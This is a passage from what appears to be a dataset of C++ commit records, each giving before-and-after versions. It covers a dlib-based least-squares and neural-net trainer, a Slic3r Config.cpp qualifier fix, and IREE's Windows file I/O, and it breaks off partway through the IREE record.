params(0);\r\n\tconst double p1 = params(1);\r\n\tconst double p2 = params(2);\r\n\tconst double p3 = params(3);\r\n\r\n\tconst double i0 = input(0);\r\n\tconst double i1 = input(1);\r\n\tconst double i2 = input(2);\r\n\t\r\n\tconst double temp = p0*i0 + p1*i1 + p2*i2 + p3;\r\n\r\n\treturn temp*temp; \/\/because we're doing least squares\r\n}\r\n\r\ndouble DataSetTrainer::linear_residual(const std::pair<input_vector, double>& data, const parameter_vector& params) {\r\n\treturn DataSetTrainer::linear_model(data.first, params) - data.second;\r\n}\r\nparameter_vector DataSetTrainer::residual_derivative(const std::pair<input_vector, double>& data, const parameter_vector& params){\r\n\tparameter_vector der;\r\n\r\n\tconst double p0 = params(0);\r\n\tconst double p1 = params(1);\r\n\tconst double p2 = params(2);\r\n\tconst double p3 = params(3);\r\n\r\n\tconst double i0 = data.first(0);\r\n\tconst double i1 = data.first(1);\r\n\tconst double i2 = data.first(2);\r\n\r\n\tconst double temp = p0*i0 + p1*i1 + p2*i2 + p3;\r\n\r\n\tder(0) = i0*2*temp;\r\n\tder(1) = i1*2*temp;\r\n\tder(2) = i2*2*temp;\r\n\tder(3) = 2*temp;\r\n\r\n\treturn der;\r\n}\r\n\r\n\/\/http:\/\/dlib.net\/least_squares_ex.cpp.html\r\nvoid DataSetTrainer::train_linear() {\r\n\t\/\/going to need to do this three times. So, you know, will take time.\r\n\tstd::vector<std::pair<input_vector, double> > data_samples;\r\n\tinput_vector input;\r\n\t\/\/get radius\r\n\tfor(size_t i = 0; i<this->space->size(); i++){\r\n\t\tvector3d* vp = this->space->at(i);\r\n\t\tfloat* pos = vp->xyz();\/\/get data from position\r\n\t\tinput = pos[0], pos[1], pos[2]; \/\/set input to be position\r\n\t\tvector3d* vf = this->vectors->at(i);\r\n\t\tfloat* vec = vf->rtp();\/\/get data from vector, as radius, theta, phi\r\n\t\tdata_samples.push_back(std::make_pair(input, vec[0]));\/\/training for creating the radius\r\n\t}\r\n\t\/\/now get constants\r\n\tparameter_vector x;\r\n\tx = 1;\r\n\tdlib::solve_least_squares(dlib::objective_delta_stop_strategy(1e-7).be_verbose(), \r\n\t\tDataSetTrainer::linear_residual, \r\n\t\tdlib::derivative(DataSetTrainer::linear_residual),\r\n\t\tdata_samples, \r\n\t\tx);\r\n\t\/\/set constants for later use\r\n\tthis->a = x(0);\r\n\tthis->b = x(1);\r\n\tthis->c = x(2);\r\n\tthis->d = x(3);\r\n\r\n\t\/\/get theta\r\n\tdata_samples.clear();\r\n\tfor(size_t i = 0; i<this->space->size(); i++){\r\n\t\tvector3d* vp = this->space->at(i);\r\n\t\tfloat* pos = vp->xyz();\/\/get data from position\r\n\t\tinput = pos[0], pos[1], pos[2];\/\/set input to be position\r\n\t\tvector3d* vf = this->vectors->at(i);\r\n\t\tfloat* vec = vf->rtp();\/\/get data from vector, as radius, theta, phi\r\n\t\t\r\n\t\tdata_samples.push_back(std::make_pair(input, vec[1]));\/\/training for creating the theta\r\n\t}\r\n\tparameter_vector x1;\r\n\tx1 = 1;\r\n\tdlib::solve_least_squares(dlib::objective_delta_stop_strategy(1e-7).be_verbose(), \r\n\t\tDataSetTrainer::linear_residual, \r\n\t\tdlib::derivative(DataSetTrainer::linear_residual),\r\n\t\tdata_samples, \r\n\t\tx1);\r\n\t\/\/set constants for later use\r\n\tthis->e = x1(0);\r\n\tthis->f = x1(1);\r\n\tthis->g = x1(2);\r\n\tthis->h = x1(3);\r\n\t\r\n\t\/\/get phi\r\n\tdata_samples.clear();\r\n\tfor(size_t i = 0; i<this->space->size(); i++){\r\n\t\tvector3d* vp = this->space->at(i);\r\n\t\tfloat* pos = vp->xyz();\/\/get data from position\r\n\t\tinput = pos[0], pos[1], pos[2];\/\/set input to be position\r\n\t\tvector3d* vf = this->vectors->at(i);\r\n\t\tfloat* vec = vf->rtp();\/\/get data from vector, as radius, theta, phi\r\n\t\t\r\n\t\tdata_samples.push_back(std::make_pair(input, vec[2]));\/\/training for creating the phi\r\n\t}\r\n\tparameter_vector x2;\r\n\tx2 = 1;\r\n\tdlib::solve_least_squares(dlib::objective_delta_stop_strategy(1e-7).be_verbose(), \r\n\t\tDataSetTrainer::linear_residual, \r\n\t\tdlib::derivative(DataSetTrainer::linear_residual),\r\n\t\tdata_samples, \r\n\t\tx2);\r\n\t\/\/set constants for later use\r\n\tthis->i = x2(0);\r\n\tthis->j = x2(1);\r\n\tthis->k = x2(2);\r\n\tthis->l = x2(3);\r\n\t\/\/AND DONE, FULLY TRAINED. MATHEMATICAL!!!!\r\n}\r\n\r\ndouble DataSetTrainer::hybrid_model(const input_vector& input, const parameter_vector& params) {\r\n\tconst double p0 = params(0);\r\n\tconst double p1 = params(1);\r\n\tconst double p2 = params(2);\r\n\tconst double p3 = params(3);\r\n\r\n\tconst double i0 = input(0);\r\n\tconst double i1 = input(1);\r\n\tconst double i2 = input(2);\r\n\r\n\tconst double temp = p0*i0 + p1*i1 + p2*i2 + p3;\r\n\r\n\treturn temp*temp; \/\/because we're doing least squares\r\n}\r\n\r\ndouble DataSetTrainer::hybrid_residual(const std::pair<input_vector, double>& data, const parameter_vector& params) {\r\n\treturn DataSetTrainer::linear_model(data.first, params) - data.second;\r\n}\r\n\r\n\r\nvoid DataSetTrainer::train_hybrid() {\r\n\t\/\/going to need to do this three times. So, you know, will take time.\r\n\tstd::vector<std::pair<input_vector, double> > data_samples;\r\n\tinput_vector input;\r\n\t\/\/get radius\r\n\tfor (size_t i = 0; i<this->space->size(); i++) {\r\n\t\tvector3d* vp = this->space->at(i);\r\n\t\tfloat* pos = vp->xyz();\/\/get data from position\r\n\t\tinput = pos[0], pos[1], pos[2]; \/\/set input to be position\r\n\t\tvector3d* vf = this->vectors->at(i);\r\n\t\tfloat* vec = vf->rtp();\/\/get data from vector, as radius, theta, phi\r\n\t\tdata_samples.push_back(std::make_pair(input, vec[0]));\/\/training for creating the radius\r\n\r\n\t\t\/\/Neural Net Time\r\n\t\tinput_vector pos_iv;\r\n\t\tneural_output vec_no;\r\n\t\tpos_iv(0) = pos[0];\r\n\t\tpos_iv(1) = pos[1];\r\n\t\tpos_iv(2) = pos[2];\r\n\r\n\t\tvec_no(0) = (vec[1] \/ (2 * M_PI))*0.9; \/\/theta range is 0 - 2PI, so we shift down into [0,1] and down again into [0,0.9] to be safe\r\n\t\tvec_no(1) = (vec[2] \/ M_PI)*0.9; \/\/phi range is 0-PI, so we shift down into [0,1] and down again into [0,0.9] to be safe\r\n\r\n\t\tthis->net->train(pos_iv, vec_no);\/\/min(vec_no) needs to be >=0.0. UGHHHHH\r\n\t}\r\n\t\/\/now get constants for R\r\n\tparameter_vector x;\r\n\tx = 1;\r\n\tdlib::solve_least_squares(dlib::objective_delta_stop_strategy(1e-7).be_verbose(),\r\n\t\tDataSetTrainer::hybrid_residual,\r\n\t\tdlib::derivative(DataSetTrainer::hybrid_residual),\r\n\t\tdata_samples,\r\n\t\tx);\r\n\t\/\/set constants for later use\r\n\tthis->a = x(0);\r\n\tthis->b = x(1);\r\n\tthis->c = x(2);\r\n\tthis->d = x(3);\r\n\r\n\r\n\r\n}\r\nvector3d* DataSetTrainer::get_from_hybrid(vector3d* loc) {\r\n\t\/\/Get R\r\n\tfloat r = (loc->xyz()[0] * this->a) + (loc->xyz()[1] * this->b) + (loc->xyz()[2] * this->c) + this->d;\r\n\t\/\/float theta = (loc->xyz()[0] * this->e) + (loc->xyz()[1] * this->f) + (loc->xyz()[2] * this->g) + this->h;\r\n\t\/\/float phi = (loc->xyz()[0] * this->i) + (loc->xyz()[1] * this->j) + (loc->xyz()[2] * this->k) + this->l;\r\n\r\n\t\/\/get THETA, and PHI\r\n\tdlib::mlp::kernel_1a_c* net = this->net;\r\n\tinput_vector in;\r\n\tfloat* arr = loc->xyz();\r\n\tin(0) = arr[0];\r\n\tin(1) = arr[1];\r\n\tin(2) = arr[2];\r\n\r\n\tneural_output out;\r\n\tout = (*net)(in);\/\/don't question the callback-like functionality of objects in c++. I know it's gross, just ignore.\r\n\r\n\tfloat theta = (out(0)\/0.9) * (2 * M_PI); \/\/shift out from [0,0.9] into [0,1] and then out agin into [0,2PI]\r\n\tfloat phi = (out(1)\/0.9) * (M_PI); \/\/shift out from [0,0.9] into [0,1] and then out agin into [0,PI]\r\n\r\n\tvector3d* ret = new vector3d(r, theta, phi, vector3d::spherical);\r\n\t\/\/ret->xyz();\r\n\treturn ret;\r\n}\r\n<commit_msg>few edits<commit_after>#include \"DataSetTrainer.h\"\r\n#define _USE_MATH_DEFINES\r\n#include <math.h>\r\n\r\n\r\n\r\nDataSetTrainer::DataSetTrainer(std::vector<vector3d*>* space, std::vector<vector3d*>* vectors) {\r\n\tthis->space = space;\r\n\tthis->vectors = vectors;\r\n\r\n\tif (space == NULL && vectors == NULL) {\r\n\t\tthis->a = 0;\r\n\t\tthis->b = 0;\r\n\t\tthis->c = 0;\r\n\t\tthis->d = 0;\r\n\t\tthis->e = 0;\r\n\t\tthis->f = 0;\r\n\t\tthis->g = 0;\r\n\t\tthis->h = 0;\r\n\t\tthis->i = 0;\r\n\t\tthis->j = 0;\r\n\t\tthis->k = 0;\r\n\t\tthis->l = 0;\r\n\t}\r\n\tthis->net = new dlib::mlp::kernel_1a_c(3, 10, 0L, 2);\/\/3 input nodes, 10 hidden nodes on first layer, 0 nodes second layer, and 2 nodes output layer, rest default\r\n\t\/\/really have no idea what i'm doing. Guess I'll be playing with those middle two values, and maybe others as well?\r\n}\r\n\r\n\r\nDataSetTrainer::~DataSetTrainer()\r\n{\r\n\tdelete this->space;\r\n\tdelete this->vectors;\r\n}\r\n\r\nvector3d* DataSetTrainer::get_from_linear(vector3d* loc) {\r\n\tfloat r = (loc->xyz()[0] * this->a) + (loc->xyz()[1] * this->b) + (loc->xyz()[2] * this->c) + this->d;\r\n\tfloat theta = (loc->xyz()[0] * this->e) + (loc->xyz()[1] * this->f) + (loc->xyz()[2] * this->g) + this->h;\r\n\tfloat phi = (loc->xyz()[0] * this->i) + (loc->xyz()[1] * this->j) + (loc->xyz()[2] * this->k) + this->l;\r\n\r\n\tvector3d* ret = new vector3d(r, theta, phi,vector3d::spherical);\r\n\t\/\/ret->xyz();\r\n\treturn ret;\r\n}\r\n\r\ndouble DataSetTrainer::linear_model(const input_vector& input, const parameter_vector& params) {\r\n\tconst double p0 = params(0);\r\n\tconst double p1 = params(1);\r\n\tconst double p2 = params(2);\r\n\tconst double p3 = params(3);\r\n\r\n\tconst double i0 = input(0);\r\n\tconst double i1 = input(1);\r\n\tconst double i2 = input(2);\r\n\t\r\n\tconst double temp = p0*i0 + p1*i1 + p2*i2 + p3;\r\n\r\n\treturn temp*temp; \/\/because we're doing least squares\r\n}\r\n\r\ndouble DataSetTrainer::linear_residual(const std::pair<input_vector, double>& data, const parameter_vector& params) {\r\n\treturn DataSetTrainer::linear_model(data.first, params) - data.second;\r\n}\r\nparameter_vector DataSetTrainer::residual_derivative(const std::pair<input_vector, double>& data, const parameter_vector& params){\r\n\tparameter_vector der;\r\n\r\n\tconst double p0 = params(0);\r\n\tconst double p1 = params(1);\r\n\tconst double p2 = params(2);\r\n\tconst double p3 = params(3);\r\n\r\n\tconst double i0 = data.first(0);\r\n\tconst double i1 = data.first(1);\r\n\tconst double i2 = data.first(2);\r\n\r\n\tconst double temp = p0*i0 + p1*i1 + p2*i2 + p3;\r\n\r\n\tder(0) = i0*2*temp;\r\n\tder(1) = i1*2*temp;\r\n\tder(2) = i2*2*temp;\r\n\tder(3) = 2*temp;\r\n\r\n\treturn der;\r\n}\r\n\r\n\/\/http:\/\/dlib.net\/least_squares_ex.cpp.html\r\nvoid DataSetTrainer::train_linear() {\r\n\t\/\/going to need to do this three times. So, you know, will take time.\r\n\tstd::vector<std::pair<input_vector, double> > data_samples;\r\n\tinput_vector input;\r\n\t\/\/get radius\r\n\tfor(size_t i = 0; i<this->space->size(); i++){\r\n\t\tvector3d* vp = this->space->at(i);\r\n\t\tfloat* pos = vp->xyz();\/\/get data from position\r\n\t\tinput = pos[0], pos[1], pos[2]; \/\/set input to be position\r\n\t\tvector3d* vf = this->vectors->at(i);\r\n\t\tfloat* vec = vf->rtp();\/\/get data from vector, as radius, theta, phi\r\n\t\tdata_samples.push_back(std::make_pair(input, vec[0]));\/\/training for creating the radius\r\n\t}\r\n\t\/\/now get constants\r\n\tparameter_vector x;\r\n\tx = 1;\r\n\tdlib::solve_least_squares(dlib::objective_delta_stop_strategy(1e-7).be_verbose(), \r\n\t\tDataSetTrainer::linear_residual, \r\n\t\tdlib::derivative(DataSetTrainer::linear_residual),\r\n\t\tdata_samples, \r\n\t\tx);\r\n\t\/\/set constants for later use\r\n\tthis->a = x(0);\r\n\tthis->b = x(1);\r\n\tthis->c = x(2);\r\n\tthis->d = x(3);\r\n\r\n\t\/\/get theta\r\n\tdata_samples.clear();\r\n\tfor(size_t i = 0; i<this->space->size(); i++){\r\n\t\tvector3d* vp = this->space->at(i);\r\n\t\tfloat* pos = vp->xyz();\/\/get data from position\r\n\t\tinput = pos[0], pos[1], pos[2];\/\/set input to be position\r\n\t\tvector3d* vf = this->vectors->at(i);\r\n\t\tfloat* vec = vf->rtp();\/\/get data from vector, as radius, theta, phi\r\n\t\t\r\n\t\tdata_samples.push_back(std::make_pair(input, vec[1]));\/\/training for creating the theta\r\n\t}\r\n\tparameter_vector x1;\r\n\tx1 = 1;\r\n\tdlib::solve_least_squares(dlib::objective_delta_stop_strategy(1e-7).be_verbose(), \r\n\t\tDataSetTrainer::linear_residual, \r\n\t\tdlib::derivative(DataSetTrainer::linear_residual),\r\n\t\tdata_samples, \r\n\t\tx1);\r\n\t\/\/set constants for later use\r\n\tthis->e = x1(0);\r\n\tthis->f = x1(1);\r\n\tthis->g = x1(2);\r\n\tthis->h = x1(3);\r\n\t\r\n\t\/\/get phi\r\n\tdata_samples.clear();\r\n\tfor(size_t i = 0; i<this->space->size(); i++){\r\n\t\tvector3d* vp = this->space->at(i);\r\n\t\tfloat* pos = vp->xyz();\/\/get data from position\r\n\t\tinput = pos[0], pos[1], pos[2];\/\/set input to be position\r\n\t\tvector3d* vf = this->vectors->at(i);\r\n\t\tfloat* vec = vf->rtp();\/\/get data from vector, as radius, theta, phi\r\n\t\t\r\n\t\tdata_samples.push_back(std::make_pair(input, vec[2]));\/\/training for creating the phi\r\n\t}\r\n\tparameter_vector x2;\r\n\tx2 = 1;\r\n\tdlib::solve_least_squares(dlib::objective_delta_stop_strategy(1e-7).be_verbose(), \r\n\t\tDataSetTrainer::linear_residual, \r\n\t\tdlib::derivative(DataSetTrainer::linear_residual),\r\n\t\tdata_samples, \r\n\t\tx2);\r\n\t\/\/set constants for later use\r\n\tthis->i = x2(0);\r\n\tthis->j = x2(1);\r\n\tthis->k = x2(2);\r\n\tthis->l = x2(3);\r\n\t\/\/AND DONE, FULLY TRAINED. MATHEMATICAL!!!!\r\n}\r\n\r\ndouble DataSetTrainer::hybrid_model(const input_vector& input, const parameter_vector& params) {\r\n\tconst double p0 = params(0);\r\n\tconst double p1 = params(1);\r\n\tconst double p2 = params(2);\r\n\tconst double p3 = params(3);\r\n\r\n\tconst double i0 = input(0);\r\n\tconst double i1 = input(1);\r\n\tconst double i2 = input(2);\r\n\r\n\tconst double temp = p0*i0 + p1*i1 + p2*i2 + p3;\r\n\r\n\treturn temp*temp; \/\/because we're doing least squares\r\n}\r\n\r\ndouble DataSetTrainer::hybrid_residual(const std::pair<input_vector, double>& data, const parameter_vector& params) {\r\n\treturn DataSetTrainer::linear_model(data.first, params) - data.second;\r\n}\r\n\r\n\r\nvoid DataSetTrainer::train_hybrid() {\r\n\t\/\/going to need to do this three times. So, you know, will take time.\r\n\tstd::vector<std::pair<input_vector, double> > data_samples;\r\n\tinput_vector input;\r\n\t\/\/get radius\r\n\tfor (size_t i = 0; i<this->space->size(); i++) {\r\n\t\tvector3d* vp = this->space->at(i);\r\n\t\tfloat* pos = vp->xyz();\/\/get data from position\r\n\t\tinput = pos[0], pos[1], pos[2]; \/\/set input to be position\r\n\t\tvector3d* vf = this->vectors->at(i);\r\n\t\tfloat* vec = vf->rtp();\/\/get data from vector, as radius, theta, phi\r\n\t\tdata_samples.push_back(std::make_pair(input, vec[0]));\/\/training for creating the radius\r\n\r\n\t\t\/\/Neural Net Time\r\n\t\tinput_vector pos_iv;\r\n\t\tneural_output vec_no;\r\n\t\tpos_iv(0) = pos[0];\r\n\t\tpos_iv(1) = pos[1];\r\n\t\tpos_iv(2) = pos[2];\r\n\r\n\t\tvec_no(0) = (vec[1] \/ (2 * M_PI))*0.9; \/\/theta range is 0 - 2PI, so we shift down into [0,1] and down again into [0,0.9] to be safe\r\n\t\tvec_no(1) = (vec[2] \/ M_PI)*0.9; \/\/phi range is 0-PI, so we shift down into [0,1] and down again into [0,0.9] to be safe\r\n\r\n\t\tthis->net->train(pos_iv, vec_no);\/\/min(vec_no) needs to be >=0.0. UGHHHHH\r\n\t}\r\n\t\/\/now get constants for R\r\n\tparameter_vector x;\r\n\tx = 1;\r\n\tdlib::solve_least_squares(dlib::objective_delta_stop_strategy(1e-7).be_verbose(),\r\n\t\tDataSetTrainer::hybrid_residual,\r\n\t\tdlib::derivative(DataSetTrainer::hybrid_residual),\r\n\t\tdata_samples,\r\n\t\tx);\r\n\t\/\/set constants for later use\r\n\tthis->a = x(0);\r\n\tthis->b = x(1);\r\n\tthis->c = x(2);\r\n\tthis->d = x(3);\r\n\r\n\r\n\r\n}\r\nvector3d* DataSetTrainer::get_from_hybrid(vector3d* loc) {\r\n\t\/\/Get R\r\n\tfloat r = (loc->xyz()[0] * this->a) + (loc->xyz()[1] * this->b) + (loc->xyz()[2] * this->c) + this->d;\r\n\t\/\/float theta = (loc->xyz()[0] * this->e) + (loc->xyz()[1] * this->f) + (loc->xyz()[2] * this->g) + this->h;\r\n\t\/\/float phi = (loc->xyz()[0] * this->i) + (loc->xyz()[1] * this->j) + (loc->xyz()[2] * this->k) + this->l;\r\n\r\n\t\/\/get THETA, and PHI\r\n\tdlib::mlp::kernel_1a_c* net = this->net;\r\n\tinput_vector in;\r\n\tfloat* arr = loc->xyz();\r\n\tin(0) = arr[0];\r\n\tin(1) = arr[1];\r\n\tin(2) = arr[2];\r\n\r\n\tneural_output out;\r\n\tout = (*net)(in);\/\/don't question the callback-like functionality of objects in c++. I know it's gross, just ignore.\r\n\r\n\tfloat theta = (out(0)\/0.9) * (2 * M_PI); \/\/shift out from [0,0.9] into [0,1] and then out agin into [0,2PI]\r\n\tfloat phi = (out(1)\/0.9) * (M_PI); \/\/shift out from [0,0.9] into [0,1] and then out agin into [0,PI]\r\n\r\n\tvector3d* ret = new vector3d(r, theta, phi, vector3d::spherical);\r\n\t\/\/ret->xyz();\r\n\treturn ret;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#ifndef SLIC3RXS\n#include \"Config.hpp\"\n#include \"Log.hpp\"\n\nnamespace Slic3r {\n\nstd::shared_ptr<Config> \nConfig::new_from_defaults() \n{ \n    return std::make_shared<Config>();\n}\nstd::shared_ptr<Config> \nConfig::new_from_defaults(std::initializer_list<std::string> init)\n{\n    return Config::new_from_defaults(t_config_option_keys(init));\n}\n\nstd::shared_ptr<Config> \nConfig::new_from_defaults(t_config_option_keys init)\n{\n    auto my_config(std::make_shared<Config>());\n    for (auto& opt_key : init) {\n        if (print_config_def.has(opt_key)) {\n            const std::string value { print_config_def.get(opt_key)->default_value->serialize() };\n            my_config->set_deserialize(opt_key, value);\n        }\n    }\n\n    return my_config;\n}\n\nstd::shared_ptr<Config> \nnew_from_cli(const int& argc, const char* argv[])\n{\n    return std::make_shared<Config>();\n}\n\nbool\nConfig::validate()\n{\n    return false;\n}\n\nvoid\nConfig::set(const t_config_option_key& opt_key, const std::string& value)\n{\n}\n\nvoid\nConfig::set(const t_config_option_key& opt_key, const int value)\n{\n}\n\nvoid\nConfig::set(const t_config_option_key& opt_key, const double value)\n{\n}\n\nvoid\nread_ini(const std::string& file)\n{\n}\n\nvoid\nwrite_ini(const std::string& file) const\n{\n}\n\n} \/\/ namespace Slic3r\n\n\n\n#endif \/\/ SLIC3RXS\n<commit_msg>Forgot to add Config:: to methods in Config.cpp<commit_after>#ifndef SLIC3RXS\n#include \"Config.hpp\"\n#include \"Log.hpp\"\n\nnamespace Slic3r {\n\nstd::shared_ptr<Config> \nConfig::new_from_defaults() \n{ \n    return std::make_shared<Config>();\n}\nstd::shared_ptr<Config> \nConfig::new_from_defaults(std::initializer_list<std::string> init)\n{\n    return Config::new_from_defaults(t_config_option_keys(init));\n}\n\nstd::shared_ptr<Config> \nConfig::new_from_defaults(t_config_option_keys init)\n{\n    auto my_config(std::make_shared<Config>());\n    for (auto& opt_key : init) {\n        if (print_config_def.has(opt_key)) {\n            const std::string value { print_config_def.get(opt_key)->default_value->serialize() };\n            my_config->set_deserialize(opt_key, value);\n        }\n    }\n\n    return my_config;\n}\n\nstd::shared_ptr<Config> \nnew_from_cli(const int& argc, const char* argv[])\n{\n    return std::make_shared<Config>();\n}\n\nbool\nConfig::validate()\n{\n    return false;\n}\n\nvoid\nConfig::set(const t_config_option_key& opt_key, const std::string& value)\n{\n}\n\nvoid\nConfig::set(const t_config_option_key& opt_key, const int value)\n{\n}\n\nvoid\nConfig::set(const t_config_option_key& opt_key, const double value)\n{\n}\n\nvoid\nConfig::read_ini(const std::string& file)\n{\n}\n\nvoid\nConfig::write_ini(const std::string& file) const\n{\n}\n\n} \/\/ namespace Slic3r\n\n\n\n#endif \/\/ SLIC3RXS\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"iree\/base\/target_platform.h\"\n\n#if defined(IREE_PLATFORM_WINDOWS)\n\n#include <io.h>\n\n#include \"absl\/memory\/memory.h\"\n#include \"absl\/strings\/str_cat.h\"\n#include \"iree\/base\/file_io.h\"\n#include \"iree\/base\/file_path.h\"\n#include \"iree\/base\/internal\/file_handle_win32.h\"\n#include \"iree\/base\/platform_headers.h\"\n#include \"iree\/base\/tracing.h\"\n\nnamespace iree {\nnamespace file_io {\n\nStatus FileExists(const std::string& path) {\n  IREE_TRACE_SCOPE0(\"file_io::FileExists\");\n  DWORD attrs = ::GetFileAttributesA(path.c_str());\n  if (attrs == INVALID_FILE_ATTRIBUTES) {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to find\/access file: \" << path;\n  }\n  return OkStatus();\n}\n\nStatusOr<std::string> GetFileContents(const std::string& path) {\n  IREE_TRACE_SCOPE0(\"file_io::GetFileContents\");\n  ASSIGN_OR_RETURN(auto file, FileHandle::OpenRead(std::move(path),\n                                                   FILE_FLAG_SEQUENTIAL_SCAN));\n  std::string result;\n  result.resize(file->size());\n  DWORD bytes_read = 0;\n  if (::ReadFile(file->handle(), const_cast<char*>(result.data()),\n                 result.size(), &bytes_read, nullptr) == FALSE) {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to read file span of \" << result.size() << \" bytes from '\"\n           << path << \"'\";\n  } else if (bytes_read != file->size()) {\n    return ResourceExhaustedErrorBuilder(IREE_LOC)\n           << \"Unable to read all \" << file->size() << \" bytes from '\" << path\n           << \"' (got \" << bytes_read << \")\";\n  }\n  return result;\n}\n\nStatus SetFileContents(const std::string& path, absl::string_view content) {\n  IREE_TRACE_SCOPE0(\"file_io::SetFileContents\");\n  ASSIGN_OR_RETURN(auto file, FileHandle::OpenWrite(std::move(path), 0));\n  if (::WriteFile(file->handle(), content.data(), content.size(), NULL, NULL) ==\n      FALSE) {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to write file span of \" << content.size() << \" bytes to '\"\n           << path << \"'\";\n  }\n  return OkStatus();\n}\n\nStatus DeleteFile(const std::string& path) {\n  IREE_TRACE_SCOPE0(\"file_io::DeleteFile\");\n  if (::DeleteFileA(path.c_str()) == FALSE) {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to delete\/access file: \" << path;\n  }\n  return OkStatus();\n}\n\nStatus MoveFile(const std::string& source_path,\n                const std::string& destination_path) {\n  IREE_TRACE_SCOPE0(\"file_io::MoveFile\");\n  if (::MoveFileA(source_path.c_str(), destination_path.c_str()) == FALSE) {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to move file \" << source_path << \" to \"\n           << destination_path;\n  }\n  return OkStatus();\n}\n\nstd::string GetTempPath() {\n  IREE_TRACE_SCOPE0(\"file_io::GetTempPath\");\n\n  \/\/ TEST_TMPDIR will point to a writeable temp path when running bazel tests.\n  char* test_tmpdir = getenv(\"TEST_TMPDIR\");\n  if (test_tmpdir) {\n    return test_tmpdir;\n  }\n\n  std::string temp_path(64, '\\0');\n  for (bool retry_query = false; retry_query && !temp_path.empty();) {\n    DWORD required_length = ::GetTempPathA(temp_path.size(), &temp_path[0]);\n    retry_query = required_length > temp_path.size();\n    temp_path.resize(required_length);\n  }\n  return temp_path;\n}\n\nStatusOr<std::string> GetTempFile(absl::string_view base_name) {\n  IREE_TRACE_SCOPE0(\"file_io::GetTempFile\");\n\n  std::string temp_path = GetTempPath();\n  std::string template_path =\n      file_path::JoinPaths(temp_path, base_name) + \"XXXXXX\";\n\n  if (::_mktemp(&template_path[0]) != nullptr) {\n    return template_path;  \/\/ Should have been modified by _mktemp.\n  } else {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to create temp file with template \" << template_path;\n  }\n}\n\n}  \/\/ namespace file_io\n}  \/\/ namespace iree\n\n#endif  \/\/ IREE_PLATFORM_WINDOWS\n<commit_msg>Fix\/simplify loop conditions in Windows GetTempPath.<commit_after>\/\/ Copyright 2019 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"iree\/base\/target_platform.h\"\n\n#if defined(IREE_PLATFORM_WINDOWS)\n\n#include <io.h>\n\n#include \"absl\/memory\/memory.h\"\n#include \"absl\/strings\/str_cat.h\"\n#include \"iree\/base\/file_io.h\"\n#include \"iree\/base\/file_path.h\"\n#include \"iree\/base\/internal\/file_handle_win32.h\"\n#include \"iree\/base\/platform_headers.h\"\n#include \"iree\/base\/tracing.h\"\n\nnamespace iree {\nnamespace file_io {\n\nStatus FileExists(const std::string& path) {\n  IREE_TRACE_SCOPE0(\"file_io::FileExists\");\n  DWORD attrs = ::GetFileAttributesA(path.c_str());\n  if (attrs == INVALID_FILE_ATTRIBUTES) {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to find\/access file: \" << path;\n  }\n  return OkStatus();\n}\n\nStatusOr<std::string> GetFileContents(const std::string& path) {\n  IREE_TRACE_SCOPE0(\"file_io::GetFileContents\");\n  ASSIGN_OR_RETURN(auto file, FileHandle::OpenRead(std::move(path),\n                                                   FILE_FLAG_SEQUENTIAL_SCAN));\n  std::string result;\n  result.resize(file->size());\n  DWORD bytes_read = 0;\n  if (::ReadFile(file->handle(), const_cast<char*>(result.data()),\n                 result.size(), &bytes_read, nullptr) == FALSE) {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to read file span of \" << result.size() << \" bytes from '\"\n           << path << \"'\";\n  } else if (bytes_read != file->size()) {\n    return ResourceExhaustedErrorBuilder(IREE_LOC)\n           << \"Unable to read all \" << file->size() << \" bytes from '\" << path\n           << \"' (got \" << bytes_read << \")\";\n  }\n  return result;\n}\n\nStatus SetFileContents(const std::string& path, absl::string_view content) {\n  IREE_TRACE_SCOPE0(\"file_io::SetFileContents\");\n  ASSIGN_OR_RETURN(auto file, FileHandle::OpenWrite(std::move(path), 0));\n  if (::WriteFile(file->handle(), content.data(), content.size(), NULL, NULL) ==\n      FALSE) {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to write file span of \" << content.size() << \" bytes to '\"\n           << path << \"'\";\n  }\n  return OkStatus();\n}\n\nStatus DeleteFile(const std::string& path) {\n  IREE_TRACE_SCOPE0(\"file_io::DeleteFile\");\n  if (::DeleteFileA(path.c_str()) == FALSE) {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to delete\/access file: \" << path;\n  }\n  return OkStatus();\n}\n\nStatus MoveFile(const std::string& source_path,\n                const std::string& destination_path) {\n  IREE_TRACE_SCOPE0(\"file_io::MoveFile\");\n  if (::MoveFileA(source_path.c_str(), destination_path.c_str()) == FALSE) {\n    return Win32ErrorToCanonicalStatusBuilder(GetLastError(), IREE_LOC)\n           << \"Unable to move file \" << source_path << \" 